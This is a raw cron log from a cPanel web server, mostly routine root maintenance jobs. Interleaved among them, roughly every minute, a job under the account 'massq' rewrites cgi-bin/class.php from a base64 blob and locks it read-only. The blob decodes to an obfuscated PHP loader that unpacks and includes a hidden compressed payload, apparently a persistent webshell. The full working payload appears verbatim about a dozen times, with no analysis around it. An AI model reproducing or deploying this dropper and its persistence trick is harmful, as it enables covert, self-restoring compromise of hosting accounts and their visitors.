Sep  5 13:35:01 server CROND[1404]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 13:35:01 server CROND[1400]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 13:35:01 server CROND[1405]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:35:01 server CROND[1402]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  5 13:35:01 server CROND[1401]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 13:36:01 server CROND[2349]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:36:01 server CROND[2348]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 13:36:01 server CROND[2350]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:37:01 server CROND[2756]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:37:01 server CROND[2755]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 13:37:01 server CROND[2754]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:38:01 server CROND[3140]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:38:01 server CROND[3141]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:38:01 server CROND[3142]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 13:39:01 server CROND[3562]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  5 13:39:01 server CROND[3563]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:39:01 server CROND[3564]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:39:01 server CROND[3561]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 13:40:01 server CROND[3945]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 13:40:01 server CROND[3946]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 13:40:01 server CROND[3948]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 13:40:01 server CROND[3954]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 13:40:01 server CROND[3957]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:40:01 server CROND[3956]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:40:01 server CROND[3955]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 13:40:01 server CROND[3958]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 13:41:01 server CROND[4792]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 13:41:01 server CROND[4791]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:41:01 server CROND[4793]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:42:01 server CROND[5272]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:42:01 server CROND[5273]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 13:42:01 server CROND[5274]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:42:01 server CROND[5275]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 13:43:01 server CROND[5647]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:43:01 server CROND[5649]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 13:43:01 server CROND[5648]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:44:01 server CROND[6022]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 13:44:01 server CROND[6023]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:44:01 server CROND[6024]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:45:01 server CROND[6395]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 13:45:01 server CROND[6396]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 13:45:01 server CROND[6397]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 13:45:01 server CROND[6401]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 13:45:01 server CROND[6399]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:45:01 server CROND[6400]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 13:45:01 server CROND[6403]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:46:01 server CROND[7276]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 13:46:01 server CROND[7277]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:46:01 server CROND[7278]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:47:01 server CROND[7742]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:47:01 server CROND[7743]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
